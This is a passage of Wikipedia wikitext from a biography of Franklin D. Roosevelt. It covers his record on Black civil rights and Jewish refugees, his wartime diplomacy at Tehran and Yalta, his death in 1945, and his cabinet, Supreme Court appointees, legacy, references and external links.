Roosevelt's attitudes to race were also tested by the issue of Black (or &quot;[[Negro]]&quot;, to use the term of the time) service in the armed forces. The Democratic Party at this time was dominated by Southerners who were opposed to any concession to demands for racial equality. During the New Deal years, there had been a series of conflicts over whether African-Americans should be segregated in the various new government benefits and programs. Whenever a move was made to integrate the races Southern governors or congressmen would complain to Roosevelt, who would  intervene to uphold segregation for the sake of keeping his party together. The [[Works Progress Administration]] and the [[Civilian Conservation Corps]], for example, segregated their work forces by race at Roosevelt's insistence after Southern governors protested at unemployed whites being required to work alongside blacks. Roosevelt's personal racial attitudes were conventional for his time and class. Some historians argue that he nevertheless played a major role in advancing the rights of blacks, and others say it was due to prodding from Eleanor Roosevelt and liberals such as Ickes, Perkins, Hopkins, [[Mary Mcleod Bethune]], [[Aubrey Williams]] and [[Claude Pepper]].

Roosevelt explained his reluctance to support anti-[[lynching]] legislation in a conversation with [[Walter White]] of the [[NAACP]]. &quot;I did not choose the tools with which I must work. Had I been permitted to choose then I would have selected quite different ones. But I've got to get legislation passed by Congress to save America. The Southerners by reason of the seniority rule in Congress are chairmen or occupy strategic places on most of the Senate and House committees. If I come out for the anti-lynching bill now, they will block every bill I ask Congress to pass to keep America from collapsing. I just can't take that risk.&quot;  However, he did move Blacks into important advisory roles, brought them as delegates to the Democratic National Convention for the first time, abolished the two-thirds rule that gave the South veto power over presidential nominations, added a civil rights plank for the first time ever to the 1940 party platform, and included Blacks in the draft with the same rights and pay scales as whites.

In June 1941 Roosevelt issued Executive Order 8802, which created the Fair Employment Practices Committee ([[FEPC]]). It was the most important federal move in support of the rights of  African Americans between Reconstruction and the Civil Rights Act of 1964. The President's order stated that the federal government would not hire any person based on their race, color, creed, or national origin. The FEPC enforced the order to ban discriminatory hiring within the federal government and in corporations that received federal contracts. Millions of blacks and women achieved better jobs and better pay as a result.  The war brought the race issue to the forefront. The Army and Navy had been segregated since the [[American Civil War|Civil War]]. But by 1940 the African-American vote had largely shifted from Republican to Democrat, and African-American leaders like [[Walter White]] of the [[NAACP]] and [[T. Arnold Hill]] of the [[National Urban League|Urban League]] had become recognized as part of the Roosevelt coalition. In June 1941, at the urging of [[A. Philip Randolph]], the leading African-American trade unionist, Roosevelt signed an executive order establishing the [[Fair Employment Practice Commission]] and prohibiting [[discrimination]] by any government agency, including the armed forces. In practice the services, particularly the Navy and the Marines, found ways to evade this order &amp;mdash; the Marine Corps remained all-white until 1943. In September 1942, at Eleanor's instigation, Roosevelt met with a delegation of African-American leaders, who demanded full integration into the forces, including the right to serve in combat roles and in the Navy, the Marine Corps and the [[United States Army Air Force]]. Roosevelt, with his usual desire to please everyone, agreed, but then did nothing to implement his promise. It was left to his successor, [[Harry S. Truman]], to fully desegregate the armed forces.

Roosevelt's complex attitudes to American [[Jew]]s were also ambivalent. Franklin's mother Sara shared the conventional anti-Semitic attitudes common among Americans at a time when Jewish immigrants were flooding into the U.S. and their children were advancing rapidly into the business and professional classes to the alarm of those already there. Roosevelt apparently inherited some of his mother's attitudes, and at times expressed them in private. Paradoxically some of his closest political associates, such as [[Felix Frankfurter]], [[Bernard Baruch]] and [[Samuel I. Rosenman]], were Jewish, and he happily cultivated the important Jewish vote in New York City. He appointed [[Henry Morgenthau, Jr.]] as the first Jewish [[Secretary of the Treasury]] and appointed Frankfurter to the Supreme Court. 

During his first term Roosevelt condemned Hitler's persecution of German Jews, but said &quot;this is not a governmental affair&quot; and refused to make any public comment. As the Jewish exodus from Germany increased after 1937, Roosevelt was asked by American Jewish organizations and Congressmen to allow these refugees to settle in the U.S. At first he suggested that the Jewish refugees should be &quot;resettled&quot; elsewhere, and suggested [[Venezuela]], [[Ethiopia]] or [[West Africa]] &amp;mdash; anywhere but the U.S. Morgenthau, Ickes and Eleanor pressed him to adopt a more generous policy but he was afraid of provoking the isolationists &amp;mdash; men such as [[Charles Lindbergh]] who exploited anti-Semitism as a means of attacking Roosevelt's policies. In practice very few Jewish refugees came to the U.S. &amp;mdash; only 22,000 German refugees were admitted in 1940, not all of them Jewish. The State Department official in charge of refugee issues, [[Breckinridge Long]], was a visceral anti-Semite who did everything he could to obstruct Jewish immigration. Despite frequent complaints, Roosevelt failed to remove him.

After 1942, when Roosevelt was made aware of the Nazi extermination of the Jews by Rabbi [[Stephen Wise]], the Polish envoy [[Jan Karski]] and others, he refused to allow any systematic attempt to rescue European Jewish refugees and bring them to the U.S. In May 1943 he wrote to Cordell Hull (whose wife was Jewish): &quot;I do not think we can do other than strictly comply with the present immigration laws.&quot; In January 1944, however, Morgenthau succeeded in persuading Roosevelt to allow the creation of a [[War Refugee Board]] in the Treasury Department. This allowed an increasing number of Jews to enter the U.S. in 1944 and 1945. By this time, however, the European Jewish communities had already been largely destroyed in Hitler's [[Holocaust]]. 

In any case after 1945 the focus of Jewish aspirations shifted from migration to the U.S. to settlement in [[Palestine (region)|Palestine]], where the [[Zionism|Zionist]] movement hoped to create a Jewish state. Roosevelt was also opposed to this idea. When he met King [[Ibn Saud]] of [[Saudi Arabia]] in February 1945, he assured him he did not support a Jewish state in Palestine. He suggested that since the Nazis had killed three million Polish Jews, there should now be plenty of room in Poland to resettle all the Jewish refugees. Roosevelt's attitudes towards Japanese-Americans, Blacks and Jews remain in striking contrast with the generosity of spirit he displayed, and the social liberalism he practiced in other realms.

===Strategy and diplomacy===
{{main|World War II}}

[[Image:Cairo conference.jpg|thumb|right|300px|[[Chiang Kai-shek]] of China, Roosevelt, and [[Winston Churchill]] of Britain at the [[Cairo Conference]] in 1943]]

The U.S. took the straightforward view that the quickest way to defeat Germany was to transport its army to Britain, invade France across the [[English Channel]] and attack Germany directly from the west, Churchill, wary of the huge casualties he feared this would entail, favored a more indirect approach, advancing northwards from the [[Mediterranean]], where the Allies were fully in control by early 1943, into either [[Italy]] or [[Greece]], and thus into central Europe. Churchill also saw this as a way of blocking the Soviet Union's advance into east and central Europe, a political issue which Roosevelt and his commanders refused to take into account.

Roosevelt's main problem was that as long as the British were providing most of the troops, aircraft and ships against the Germans he had to accept Churchill's idea that a launch across the Channel would have to wait, at least until the American power was at least equal of that of the British.   Churchill succeeded in persuading Roosevelt to undertake the invasions of French [[Morocco]] and [[Algeria]] ([[Operation Torch]]) in November 1942, of [[Sicily]] ([[Operation Husky]]) in July 1943, and of Italy ([[Operation Avalanche]]) in September 1943). This entailed postponing the cross-Channel invasion from 1943 to 1944. Following the American defeat at [[Anzio]], however, the invasion of Italy became bogged down, and failed to meet Churchill's expectations. This undermined his opposition to the cross-Channel invasion ([[Operation Overlord]]), which finally took place in June 1944. Although most of France was quickly liberated, the Allies were blocked on the German border in the &quot;[[Battle of the Bulge]]&quot; in December 1944, and final victory over Germany was not achieved until May 1945, by which time the Soviet Union, as Churchill feared, had occupied all of eastern and central Europe as far west as the [[Elbe River]] in central Germany.

Meanwhile in the Pacific the Japanese advance reached its maximum extent by June 1942, when Japan sustained a major naval defeat at the hands of the U.S. at the [[Battle of Midway]]. The Japanese advance to the south and south-east was halted at the [[Battle of the Coral Sea]] in May 1942 and the [[Battle of Guadalcanal]] between August 1942 and February 1943. MacArthur and Nimitz then began a slow and costly progress through the Pacific islands, with the objective of gaining bases from which strategic air power could be brought to bear on Japan and from which Japan could ultimately be invaded. In the event, this did not prove necessary, because the almost simultaneous declaration of war on Japan by the Soviet Union and the use of the [[atomic bomb]] on Japanese cities brought about Japan's surrender in September 1945.

By late 1943 it was apparent that the Allies would ultimately defeat Nazi Germany, and it became increasingly important to make high-level political decisions about the course of the war and the postwar future of Europe. Roosevelt met with Churchill and the Chinese leader [[Chiang Kai-shek]] at the [[Cairo Conference]] in November 1943, and then went to [[Tehran]] to confer with Churchill and Stalin. At the [[Tehran Conference]] Roosevelt and Churchill told Stalin about the plan to invade France in 1944, and Roosevelt also discussed his plans for a postwar international organization. Stalin was pleased that the western Allies had abandoned any idea of moving into the [[Balkans]] or central Europe via Italy, and he went along with Roosevelt's plan for the [[United Nations]], which involved no costs to him. Stalin also agreed that the Soviet Union would enter the war against Japan when Germany was defeated. At this time Churchill and Roosevelt were acutely aware of the huge and disproportionate sacrifices the Soviets were making on the eastern front while their invasion of France was still six months away, so they did not raise awkward political issues which did not require immediate solutions, such as the future of Germany and Eastern Europe.

By the beginning of 1945, however, with the Allied armies advancing into Germany, consideration of these issues could not be put off any longer. In February, Roosevelt, despite his steadily deteriorating health, traveled to [[Yalta]], in the Soviet [[Crimea]], to meet again with Stalin and Churchill. This meeting, the [[Yalta Conference]], is often portrayed as a decisive turning point in modern history, but in fact, most of the decisions made there were retrospective recognitions of realities which had already been established by force of arms. The decision of the western Allies to delay the invasion of France from 1943 to 1944 had allowed the Soviet Union to occupy all of eastern Europe, including [[Poland]], [[Romania]], [[Bulgaria]], [[Czechoslovakia]] and [[Hungary]], as well as eastern Germany. Since Stalin was in full control of these areas, there was little Roosevelt and Churchill could do to prevent him imposing his will on them, as he was rapidly doing by establishing [[Communist]]-controlled governments in all these countries.

Churchill, aware that Britain had gone to war in 1939 in defense of Polish independence, and also of his promises to the [[Polish government in exile]] in [[London]], did his best to insist that Stalin agree to the establishment of a non-Communist government and the holding of free elections in liberated Poland, although he was unwilling to confront Stalin over the issue of Poland's postwar frontiers, on which he considered the Polish position to be indefensible. But Roosevelt was not interested in having a fight with Stalin over Poland, for two reasons. The first was that he believed that Soviet support was essential for the projected invasion of Japan, in which the Allies ran the risk of huge casualties. He feared that if Stalin was provoked over Poland he might renege on his Tehran commitment to enter the war against Japan. The second was that he saw the [[United Nations]] as the ultimate solution to all postwar problems, and he feared the United Nations project would fail without Soviet cooperation.

==The fourth term and his death, 1945==
[[Image:Yalta Conference.jpg|300px|thumb|The &quot;Big Three&quot;  Allied leaders at [[Yalta]]: Churchill, Roosevelt and Stalin]]

Although Roosevelt was only 62 in 1944, his health had been in decline since at least 1940. The strain of his paralysis and the physical exertion needed to compensate for it for over 20 years had taken their toll, as had many years of stress and a lifetime of chain-smoking. He had been diagnosed with [[high blood pressure]] and long-term [[heart disease]], and was advised to modify his diet (though not to stop smoking). Had it not been for the war, he would certainly have retired at the [[U.S. presidential election, 1944|1944 election]], but under the circumstances both he and his advisors felt there was no alternative to his running for a fourth term. Aware of the risk that Roosevelt would die during his fourth term, the party regulars insisted that [[Henry A. Wallace]], who was seen as too pro-Soviet, be dropped as Vice President. Roosevelt at first resisted but finally agreed to replace Wallace with the little known Senator [[Harry S. Truman]]. In the November elections Roosevelt and Truman won 53 percent of the vote and carried 36 states, against [[New York]] Governor [[Thomas Dewey]]. After the elections, [[Cordell Hull]], the longest-serving Secretary of State in American history, retired and was succeeded by [[Edward Stettinius Jr.]].

After the Yalta conference, relations between the western Allies and Stalin deteriorated rapidly, and so did Roosevelt's health. When he addressed Congress on his return from Yalta, many were shocked to see how old, thin and sick he looked. He spoke from his wheelchair, an unprecedented concession to his physical incapacity. But he was still mentally fully in command. &quot;The Crimean Conference,&quot; he said firmly, &quot;ought to spell the end of a system of unilateral action, the exclusive alliances, the spheres of influence, the balances of power, and all the other expedients that have been tried for centuries &amp;mdash; and have always failed. We propose to substitute for all these, a universal organization in which all peace-loving nations will finally have a chance to join.&quot; Many in his audience doubted that the proposed United Nations would achieve these objectives, but there was no doubting the depth of Roosevelt's commitment to these ideals, which he had inherited from [[Woodrow Wilson]]. 

Roosevelt is often accused of being naively trusting of Stalin, but in the last months of the war he took an increasingly tough line. During March and early April he sent strongly worded messages to Stalin accusing him of breaking his Yalta commitments over Poland, Germany, [[prisoners of war]] and other issues. When Stalin accused the western Allies of plotting a separate peace with Hitler behind his back, Roosevelt replied: &quot;I cannot avoid a feeling of bitter resentment towards your informers, whoever they are, for such vile misrepresentations of my actions or those of my trusted subordinates.&quot;

[[Image:Franklin Roosevelt funeral procession 1945.jpg|thumb|300px|right|Roosevelt's funeral procession.]]
On March 30, Roosevelt went to Warm Springs to rest before his anticipated appearance at the April 25 [[San Francisco]] founding conference of the United Nations. Among the guests was [[Lucy Page Mercer Rutherfurd|Lucy Mercer]], his lover from 30 years previously (by then Mrs. Lucy Rutherfurd), and the artist [[Elizabeth Shoumatoff]], who was painting a portrait of him. On the morning of [[April 12]] he was sitting in a leather chair signing letters, his legs propped up on a stool, while Shoumatoff worked at her easel. Just before lunch was to be served, he dropped his pen and complained of a sudden headache. Then he slumped forward in his chair and lost consciousness. A doctor was summoned and he was carried to bed; it was immediately obvious that he had suffered a massive [[cerebral hemorrhage]]. At 3:31 pm he was pronounced dead. The painting by Shoumatoff was not finished and is known as the [[Unfinished Portrait]].

Roosevelt's death was greeted with shock and grief across the U.S. and around the world. At a time when the press did not pry into the health or private lives of presidents, his declining health had not been known to the general public. Roosevelt had been President for more than 12 years, much longer than any other person, and had led the country through some of its greatest crises to the brink of its greatest triumph, the complete defeat of Nazi Germany, and to within sight of the defeat of Japan as well. Although in the decades since his death there have been many critical reassessments of his career, few commentators at the time had anything but praise for a commander-in-chief who had been robbed by death of a victory which was only a few weeks away. On [[May 8]], the new president, [[Harry S. Truman]], who turned 61 that day, dedicated [[V-E Day]] to Roosevelt's memory, paying tribute to his commitment towards ending the war in Europe.

==Administration and Cabinet 1933-1945==
{| cellpadding=&quot;1&quot; cellspacing=&quot;4&quot; style=&quot;margin:3px; border:3px solid #000000;&quot; align=&quot;left&quot;
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|align=&quot;left&quot;|'''OFFICE'''||align=&quot;left&quot;|'''NAME'''||align=&quot;left&quot;|'''TERM'''
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|[[President of the United States|President]] || '''[[Franklin D. Roosevelt]]''' || 1933-1945
|-
|[[Vice President of the United States|Vice President]] || '''[[John Nance Garner]]''' || 1933-1941
|-
| || '''[[Henry A. Wallace]]''' || 1941-1945
|-
| || '''[[Harry S. Truman]]''' || 1945
|-
!bgcolor=&quot;#000000&quot; colspan=&quot;3&quot;|
|-
|[[United States Secretary of State|State]] || '''[[Cordell Hull]]''' || 1933-1944
|-
| || '''[[Edward Stettinius, Jr.|Edward R. Stettinius, Jr.]]''' || 1944-1945
|-
|[[United States Secretary of War|War]] || '''[[George Dern|George H. Dern]]''' || 1933-1936
|-
| || '''[[Harry Hines Woodring|Harry H. Woodring]]''' || 1936-1940
|-
| || '''[[Henry L. Stimson]]''' || 1940-1945
|-
|[[United States Secretary of the Treasury|Treasury]] || '''[[William Hartman Woodin|William H. Woodin]]''' || 1933-1934
|-
| || '''[[Henry Morgenthau, Jr.]]''' || 1934-1945
|-
|[[Attorney General of the United States|Justice]] || '''[[Homer Stille Cummings|Homer S. Cummings]]''' || 1933-1939
|-
| || '''[[Frank Murphy|William F. Murphy]]''' || 1939-1940
|-
| || '''[[Robert H. Jackson]]''' || 1940-1941
|-
| || '''[[Francis Biddle|Francis B. Biddle]]''' || 1941-1945
|-
|[[United States Postmaster General|Post]] || '''[[James Farley|James A. Farley]]''' || 1933-1940
|-
| || '''[[Frank Comerford Walker|Frank C. Walker]]''' || 1940-1945
|-
|[[United States Secretary of the Navy|Navy]] || '''[[Claude A. Swanson]]''' || 1933-1939
|-
| || '''[[Charles Edison]]''' || 1940
|-
| || '''[[Frank Knox]]''' || 1940-1944
|-
| || '''[[James Forrestal|James V. Forrestal]]''' || 1944-1945
|-
|[[United States Secretary of the Interior|Interior]] || '''[[Harold L. Ickes]]''' || 1933-1945
|-
|[[United States Secretary of Agriculture|Agriculture]] || '''[[Henry A. Wallace]]''' || 1933-1940
|-
| || '''[[Claude R. Wickard]]''' || 1940-1945
|-
|[[United States Secretary of Commerce|Commerce]] || '''[[Daniel Calhoun Roper|Daniel C. Roper]]''' ||1933-1938
|-
| || '''[[Harry Hopkins|Harry L. Hopkins]]''' || 1939-1940
|-
| || '''[[Jesse Holman Jones|Jesse H. Jones]]''' || 1940-1945
|-
| || '''[[Henry A. Wallace]]''' || 1945
|-
|[[United States Secretary of Labor|Labor]] || '''[[Frances Perkins|Frances C. Perkins]]''' || 1933-1945
|-
|}

&lt;br clear=&quot;all&quot;&gt;

==Supreme Court appointments==
President Roosevelt appointed nine Justices to the [[Supreme Court of the United States]].  [[George Washington]] appointed eleven. By 1941. eight of the nine Justices were Roosevelt appointees. 

In 1937, Roosevelt proposed the Judiciary Reorganization Bill of 1937 (called the [[Court packing Bill]] by its opponents).  The proposal gave the President the power to appoint an extra Supreme Court Justice for every sitting Justice over the age of 70.  The bill caused a deep division in the Democratic party, as newly reelected Vice president [[John Nance Garner]] led the opposition. The proposal was defeated.

*[[Hugo Black]] (AL) [[August 19]], [[1937]]-[[September 17]], [[1971]]
*[[Stanley Forman Reed]] (KY) [[January 31]], [[1938]]-[[February 25]], [[1957]]
*[[Felix Frankfurter]] (MA) [[January 30]], [[1939]]-[[August 28]], [[1962]]
*[[William O. Douglas]] (CT) [[April 17]], [[1939]]-[[November 12]], [[1975]]
*[[Frank Murphy]] (MI) [[February 5]], [[1940]]-[[July 19]], [[1949]]
*[[Harlan Fiske Stone]] (Chief Justice, NY) [[July 3]], [[1941]]-[[April 22]], [[1946]]
*[[James Francis Byrnes]] (SC) [[July 8]], [[1941]]-[[October 3]], [[1942]]
*[[Robert H. Jackson]] (NY) [[July 11]], [[1941]]-[[October 9]], [[1954]]
*[[Wiley Blount Rutledge]] (IA) [[February 15]], [[1943]]-[[September 10]], [[1949]]

==Legacy==
Roosevelt's legacies to the U.S. were a greatly expanded role for government in the management of the economy, increased government regulation of companies to protect the environment and prevent corruption, a Social Security system which allowed senior citizens to be able to retire with income and benefits, a nation on the winning side of World War II (with a booming wartime economy), and a coalition of voters supporting the Democratic Party which would survive intact until the 1960s and in part until the 1980s, when it was finally shattered by [[Ronald Reagan]], a Roosevelt Democrat in his youth who became a conservative Republican. Internationally, Roosevelt's monument was the United Nations, an organization which offered at least his hope of an end to the international anarchy which led to two world wars in his lifetime.

Majority support for the essentials of the Roosevelt domestic program survived their author by 35 years. The Republican administrations of [[Dwight Eisenhower]] and [[Richard Nixon]] did nothing to overturn the Roosevelt-era social programs. It was not until the administration of Ronald Reagan (1981-1989) that this was reversed, although Reagan made clear that though he wanted to greatly scale back many of FDR's programs, he would keep them intact (especially Social Security). [[Bill Clinton]], with his program of [[welfare reform]], was the first Democratic president to repudiate elements of the Roosevelt program. Nevertheless, this has not undermined Roosevelt's posthumous reputation as a great president. A 1999 survey of academic historians by [[CSPAN]] found that historians consider [[Abraham Lincoln]], [[George Washington]], and Roosevelt the three greatest presidents by a wide margin.[http://www.americanpresidents.org/survey/historians/performance.asp]. A 2000 survey by ''[[The Washington Post]]'' found Washington, Lincoln, and Roosevelt to be the only &quot;great&quot; Presidents. Roosevelt is the sixth most [[Gallup's List of Widely Admired People|admired]] person in the 20th century, according to [[Gallup]].  Roosevelt's face can be found on the obverse of the [[dime (U.S. coin)|dime]].

==Media==
{{multi-video start}}
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  filename      =  FDR video montage.ogg|
  title         =  FDR video montage|
  description   =Collection of video clips of the president.  (7.2 [[Megabyte|MB]], [[ogg]]/[[Theora]] format). |
  format        = [[Theora]]
}}
{{multi-video end}}

{{multi-listen start}}
{{multi-listen item |
  filename=Roosevelt Pearl Harbor.ogg|
  title=FDR Pearl Harbor speech|
  description=Speech given before Joint Session of Congress in entirety.   (3.1 [[Megabyte|MB]], [[ogg]]/[[Vorbis]] format). |
  format=[[Vorbis]]
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{{multi-listen item |
  filename=Roosevelt Infamy.ogg|
  title=&quot;A date which will live in infamy&quot;|
  description=Section of Pearl Harbor speech with famous phrase.  (168 [[Kilobyte|KB]], [[ogg]]/[[Vorbis]] format). |
  format=[[Vorbis]]
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{{multi-listen end}}

==See also==
* [[U.S. presidential election, 1920]]
* [[U.S. presidential election, 1932]]
* [[U.S. presidential election, 1936]]
* [[U.S. presidential election, 1940]]
* [[U.S. presidential election, 1944]]
* [[History of the United States (1918-1945)]]
* [[Franklin D. Roosevelt Presidential Library and Museum]] (Hyde Park, New York)
* [[Business Plot]]
* [[New Deal]]
* [[Critics of the New Deal]]
* [[Franklin Roosevelt's Second Bill of Rights]]
* [[Fala]]
* [[Timeline of environmental events]]
* [[James Roosevelt]]

==References==
===Primary sources===
* Cantril, Hadley and Mildred Strunk, eds.; ''Public Opinion, 1935-1946'' (1951), massive compilation of many public opinion polls from USA 
* Gallup, George Horace, ed. ''The Gallup Poll; Public Opinion, 1935-1971''  3 vol (1972)  summarizes results of each poll as reported to newspapers.
* Loewenheim, Francis L. et al, eds; ''Roosevelt and Churchill: Their Secret Wartime Correspondence'' (1975)
* Nixon, Edgar B. ed. ''Franklin D. Roosevelt and Foreign Affairs'' (3 vol 1969), covers 1933-37. 2nd series 1937-39 available on microfiche and in a 14 vol print edition at some academic libraries.
* Roosevelt, Franklin D.; Rosenman, Samuel Irving, ed. ''The Public Papers and Addresses of Franklin D. Roosevelt'' (13 vol, 1938, 1945); public material only (no letters); covers 1928-1945.
*[http://www.lexisnexis.com/academic/2upa/Aph/fdrDocumentary.asp ''Documentary History of the Franklin D. Roosevelt Administration''] 20 vol. available in some large academic libraries.
*Zevin, B. D. ed.; ''Nothing to Fear: The Selected Addresses of Franklin Delano Roosevelt, 1932-1945'' (1946) selected speeches

===Scholarly secondary sources===
*Beasley, Maurine, et al eds. ''The Eleanor Roosevelt Encyclopedia'' (2001)
* Burns, James MacGregor. ''Roosevelt'' (1956, 1970), 2 vol;  interpretive biography, emphasis on politics; vol 2 is on war years
* Freidel, Frank. ''Franklin D. Roosevelt: A Rendezvous with Destiny'' (1990), One-volume scholarly biography; covers entire life
* Freidel, Frank. ''Franklin D. Roosevelt'' (4 vol 1952-73), scholarly biography; ends in 1934.
* Graham, Otis L. and Meghan Robinson Wander, eds. ''Franklin D. Roosevelt: His Life and Times.'' (1985). 
* Goodwin, Doris Kearns. ''No Ordinary Time: Franklin and Eleanor Roosevelt: The Home Front in World War II'' (1995)
*Kennedy, David M. ''Freedom From Fear: The American People in Depression and War, 1929-1945.'' (1999)
*Lash, Joseph P. ''Eleanor and Franklin: The Story of Their Relationship Based on Eleanor Roosevelt's Private Papers'' (1971), history of a marriage. 
* Leuchtenberg, William E. Franklin D. ''Roosevelt and the New Deal, 1932-1940.'' (1963). A standard interpretive history of era.
*Schlesinger, Arthur M. Jr., ''The Age of Roosevelt'', 3 vols, (1957-1960), the classic narrative history. Strongly supports FDR. Online at [http://image.ulib.org/cgi-bin/handlers/handle8?call=15522.20704 vol 2] [http://delta.ulib.org/zoom/record.html?id=15523 vol 3]
===Popular Biographies===
* Black, Conrad. ''Franklin Delano Roosevelt: Champion of Freedom'', Public Affairs, 2003. Popular biography
* Davis, Kenneth R. ''FDR: The Beckoning of Destiny, 1982-1928'' (1972)
* Morgan, Ted, ''FDR: A biography'', Simon &amp;amp; Schuster, New York (1985), a popular biography
* Ward, Geoffrey C. ''Before The Trumpet: Young Franklin Roosevelt, 1882-1905'' HarperCollins, 1985.
** Geoffrey C. Ward, ''A First Class Temperament: The Emergence of Franklin Roosevelt'', HarperCollins, 1992, covers 1905-1932.

===Foreign Policy and World War II===
* Beschloss, Michael R. ''The Conquerors: Roosevelt, Truman and the Destruction of Hitler's Germany, 1941-1945'' (2002).
* Borg, Dorothy and Shumpei Okamoto, eds. ''Pearl Harbor as History: Japanese-American Relations, 1931-1941'' (1973)
* Burns, James MacGregor. ''Roosevelt: Soldier of Freedom'' (1970), vol 2 covers the war years. 
* Clemens, Diana Shaver. ''Yalta'' (1970); 
* Dallek, Robert. ''Franklin D. Roosevelt and American Foreign Policy, 1932-1945'' (2nd ed. 1995).
* Divine, Robert A. ed. ''Causes and Consequences of World War II'' (1969). debates among historians
* Heinrichs, Waldo. ''Threshold of War. Franklin Delano Roosevelt and American Entry into World War II'' (1988).
* Herring Jr. George C. ''Aid to Russia, 1941-1946: Strategy, Diplomacy, the Origins of the Cold War'' (1973)
* Hurstfield, Julian G. ''America and the French Nation, 1939-1945'' (1986)
* Kennedy, Thomas C. ''Charles A. Beard and American Foreign Policy'' (1975)
* Kimball, Warren. ''The Juggler: Franklin Roosevelt as World Statesman'' (1991) 
* Langer, William  and S. Everett Gleason. ''The Challenge to Isolation, 1937-1940'' (1952). Vol 1 of highly influential semi-official history 
* Langer, William L.  and S. Everett Gleason. ''The Undeclared War, 1940-1941'' (1953). Vol 2 of highly influential semi-official history 
* Larrabee, Eric. '' Commander in Chief: Franklin Delano Roosevelt, His Lieutenants, and Their War''. History of the how FDR handled the war
* Loewenheim, Francis L. ed. ''Roosevelt and Churchill: Their Secret Wartime Correspondence'' (1975)
* Matloff, Maurice and Edwin M. Snell. ''Strategic Planning for Coalition Warfare, 1941-1942'' (1953). military strategy
* Morley, James William and David A. Titus. ''The Final Confrontation: Japan's Negotiations with the United States, 1941'' (1994)
* Offner, Arnold A. ''America and the Origins of World War II, 1933-1941: New Perspectives in History'' (1971)
* Prange, Gordon. ''At Dawn We Slept: The Untold Story of Pearl Harbor'' (1981)
* Rauch, Basil. ''Roosevelt, from Munich to Pearl Harbor: A Study in the Creation of a Foreign Policy'' (1950)
* Schaller, Michael. ''The U.S. Crusade in China, 1938-1945'' (1979)
* Schneider, James C. ''Should America Go to War? The Debate over Foreign Policy in Chicago, 1939-1941'' (1989)
* Schroeder, Paul W. ''The Axis Alliance and Japanese-American Relations, 1941'' (1958)
* Schmitz, David F. and Richard D. Challener. ''Appeasement in Europe: A Reassessment of U.S. Policies'' (1990)
* Traina,  Richard P. ''American Diplomacy and the Spanish Civil War'' (1968).
* Weinberg, Gerhard L. ''A World at Arms: A Global History of World War II'' (1994). Overall history of the war; strong on diplomacy
* Wood, Bryce. ''The Making of the Good Neighbor Policy'' (1961).
* Woods, Randall Bennett. ''A Changing of the Guard: Anglo-American Relations, 1941-1946'' (1990)

===Controversial attacks===
* Moley, Raymond. ''After Seven Years'' (1939), conservative critique, by former [[brain trust]]er.
* Barnes, Harry Elmer. ''Perpetual War for Perpetual Peace: A Critical Examination of the Foreign Policy of Franklin Delano Roosevelt and Its Aftermath'' (1953).  &quot;revisionist&quot; attack on FDR
* Russett, Bruce M. ''No Clear and Present Danger: A Skeptical View of the United States Entry into World War II'' 2nd ed. (1997)
* Trifkovic, Srdja, [http://www.chroniclesmagazine.org/Chronicles/August2000/0800Trifkovic.htm ''A Tale of Two Fascists: FDR and Mussolini''] (August 2000) Chronicles magazine.
* Powell, Jim. ''FDR's Folly: How Roosevelt and His New Deal Prolonged the Great Depression.'' (New York: Crown Forum, 2003), a stinging attack on New Deal policies from the right.

==External links==
{{wikisource author}}
{{wikiquote}}
{{Commons|Franklin D. Roosevelt}}
*[http://www.potus.com/fdroosevelt.html#cabinet Franklin Delano Roosevelt Cabinet Members]
* [http://www.fdrlibrary.marist.edu/ The Franklin D. Roosevelt Presidential Library and Museum]
** [http://www.fdrlibrary.marist.edu/audio.html Audio Archive]
* [http://www.whitehouse.gov/history/presidents/fr32.html White House biography]
* [http://www.presidency.ucsb.edu The American Presidency Project] at [[University of California at Santa Barbara]]
** [http://www.presidency.ucsb.edu/ws/index.php Public Papers of the Presidents: Franklin D. Roosevelt]
** [http://www.presidency.ucsb.edu/sou.php State of the Union Addresses]
*** [http://www.presidency.ucsb.edu/ws/index.php?pid=14683 1934], [http://www.presidency.ucsb.edu/ws/index.php?pid=14890 1935], [http://www.presidency.ucsb.edu/ws/index.php?pid=15095 1936], [http://www.presidency.ucsb.edu/ws/index.php?pid=15336 1937], [http://www.presidency.ucsb.edu/ws/index.php?pid=15517 1938], [http://www.presidency.ucsb.edu/ws/index.php?pid=15684 1939], [http://www.presidency.ucsb.edu/ws/index.php?pid=15856 1940], [http://www.presidency.ucsb.edu/ws/index.php?pid=16092 1941], [http://www.presidency.ucsb.edu/ws/index.php?pid=16253 1942], [http://www.presidency.ucsb.edu/ws/index.php?pid=16386 1943], [http://www.presidency.ucsb.edu/ws/index.php?pid=16518 1944] 
** [http://www.presidency.ucsb.edu/sou.php State of the Union Written Messages]
*** [http://www.presidency.ucsb.edu/ws/index.php?pid=16595 1945]
** [http://www.presidency.ucsb.edu/inaugurals.php Inaugural Addresses]
*** [http://www.presidency.ucsb.edu/ws/index.php?pid=14473 1933], [http://www.presidency.ucsb.edu/ws/index.php?pid=15349 1937], [http://www.presidency.ucsb.edu/ws/index.php?pid=16022 1941], [http://www.presidency.ucsb.edu/ws/index.php?pid=16607 1945]
** [http://www.presidency.ucsb.edu/fireside.php Fireside Chats]
** [http://www.presidency.ucsb.edu/elections.php Presidential Elections]
*** [http://www.presidency.ucsb.edu/showelection.php?year=1932 1932], [http://www.presidency.ucsb.edu/showelection.php?year=1936 1936], [http://www.presidency.ucsb.edu/showelection.php?year=1940 1940], [http://www.presidency.ucsb.edu/showelection.php?year=1944 1944]
** [http://www.presidency.ucsb.edu/medialist.php?presid=32 32 Audio/Video Clips of FDR]
** [http://www.presidency.ucsb.edu/data.php Academic Data Related to the Roosevelt Administration]
* [http://www.whitehousetapes.org/pages/tapes_fdr.htm Roosevelt's Secret White House Recordings] via [[University of Virginia]]
* [http://www.evtv1.com/index.asp-itemnum-220 FDR - Day of Infamy video clip] (2 min.)
* [http://vvl.lib.msu.edu/showfindingaid.cfm?findaidid=RooseveltFD Audio clips of speeches]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/froos1.htm First Inaugural Address], via [[Yale University]]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/froos2.htm Second Inaugural Address], via [[Yale University]]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/froos3.htm Third Inaugural Address], via [[Yale University]]
* [http://www.yale.edu/lawweb/avalon/presiden/inaug/froos4.htm Fourth Inaugural Address], via [[Yale University]]
* [http://www.hpol.org/fdr/chat/ Court &quot;Packing&quot; Speech March 9, 1937]
